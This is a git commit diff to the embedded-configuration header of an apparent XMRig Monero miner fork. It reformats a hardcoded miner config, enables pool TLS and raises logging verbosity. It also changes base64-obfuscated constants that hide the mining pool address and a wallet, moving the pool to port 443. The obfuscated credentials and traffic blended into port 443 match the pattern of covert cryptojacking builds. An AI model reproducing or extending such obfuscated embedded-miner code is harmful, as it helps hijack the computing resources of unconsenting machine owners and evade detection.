Formatted config better added verbose logging and we use tls now

This commit is contained in:
someone 2025-11-07 16:07:43 +01:00
parent e4aa062236
commit 5b8a06c9a5

View File

@ -6,8 +6,8 @@
namespace xmrig {
const char* const ENC_URL = "ENC:cG9vbC5zdXBwb3J0eG1yLmNvbTozMzMz";
const char* const ENC_USER = "ENC:OEJYVk02RVRXWEpLTXRxSER4ZGdqRUhXOHFuZGE1YmVkNWN4UHZ1N3pnVlNYSmdIWm9nZVRBQk12WHBZU0hvUnB1Y1dkcWRGeVdneDNlM1d6SjdiNXVZVEVBc3lib0E=";
const char* const ENC_URL = "ENC:cG9vbC5zdXBwb3J0eG1yLmNvbTo0NDM";
const char* const ENC_USER = "ENC:OEJYVk02RVRXWEpLTXRxSER4ZGdqRUhXOHFuZGE1YmVkNWN4UHZ1N3pnVlNYSmdIWm9nZVRBQk12WHBZU0hvUnB1Y1dkcWRGeVdneDNlM1d6SjdiNXVZVEVBc3lib0E";
inline const char* unwrap(const char* s)
{
@ -80,34 +80,108 @@ inline const char* getEmbeddedConfig()
const char* url = url_copy;
const char* user = unwrap(ENC_USER);
const char* template_str = R"===({
"api":{"id":null,"worker-id":null},
"http":{"enabled":false,"host":"127.0.0.1","port":0,"access-token":null,"restricted":true},
"autosave":true,
"background":false,
"colors":true,
"title":true,
"randomx":{"init":-1,"init-avx2":-1,"mode":"auto","1gb-pages":false,"rdmsr":true,"wrmsr":true,"cache_qos":false,"numa":true,"scratchpad_prefetch_mode":1},
"cpu":{"enabled":true,"huge-pages":true,"huge-pages-jit":false,"hw-aes":null,"priority":null,"memory-pool":false,"yield":true,"max-threads-hint":100,"asm":true,"argon2-impl":null,"cn/0":false,"cn-lite/0":false},
"opencl":{"enabled":false,"cache":true,"loader":null,"platform":"AMD","adl":true,"cn/0":false,"cn-lite/0":false},
"cuda":{"enabled":false,"loader":null,"nvml":true,"cn/0":false,"cn-lite/0":false},
"donate-level":1,
"donate-over-proxy":1,
"log-file":null,
"pools":[{"algo":null,"coin":null,"url":"%s","user":"%s","pass":"x","rig-id":null,"nicehash":false,"keepalive":false,"enabled":true,"tls":false,"tls-fingerprint":null,"daemon":false,"socks5":null,"self-select":null,"submit-to-origin":false}],
"print-time":60,
"health-print-time":60,
"dmi":true,
"retries":5,
"retry-pause":5,
"syslog":false,
"tls":{"enabled":false,"protocols":null,"cert":null,"cert_key":null,"ciphers":null,"ciphersuites":null,"dhparam":null},
"user-agent":null,
"verbose":0,
"watch":true,
"pause-on-battery":false,
"pause-on-active":false
})===";
const char* template_str = R"===(
{
"api": {
"id": null,
"worker-id": null
},
"http": {
"enabled": false,
"host": "127.0.0.1",
"port": 0,
"access-token": null,
"restricted": true
},
"autosave": true,
"background": false,
"colors": true,
"title": true,
"randomx": {
"init": -1,
"init-avx2": -1,
"mode": "auto",
"1gb-pages": false,
"rdmsr": true,
"wrmsr": true,
"cache_qos": false,
"numa": true,
"scratchpad_prefetch_mode": 1
},
"cpu": {
"enabled": true,
"huge-pages": true,
"huge-pages-jit": false,
"hw-aes": null,
"priority": null,
"memory-pool": false,
"yield": true,
"max-threads-hint": 100,
"asm": true,
"argon2-impl": null,
"cn/0": false,
"cn-lite/0": false
},
"opencl": {
"enabled": false,
"cache": true,
"loader": null,
"platform": "AMD",
"adl": true,
"cn/0": false,
"cn-lite/0": false
},
"cuda": {
"enabled": false,
"loader": null,
"nvml": true,
"cn/0": false,
"cn-lite/0": false
},
"donate-level": 1,
"donate-over-proxy": 1,
"log-file": null,
"pools": [
{
"algo": null,
"coin": null,
"url": "%s",
"user": "%s",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"enabled": true,
"tls": true,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null,
"submit-to-origin": false
}
],
"print-time": 60,
"health-print-time": 60,
"dmi": true,
"retries": 5,
"retry-pause": 5,
"syslog": false,
"tls": {
"enabled": false,
"protocols": null,
"cert": null,
"cert_key": null,
"ciphers": null,
"ciphersuites": null,
"dhparam": null
},
"user-agent": null,
"verbose": 9,
"watch": true,
"pause-on-battery": false,
"pause-on-active": false
}
)===";
snprintf(buf, sizeof(buf), template_str, url, user);
return buf;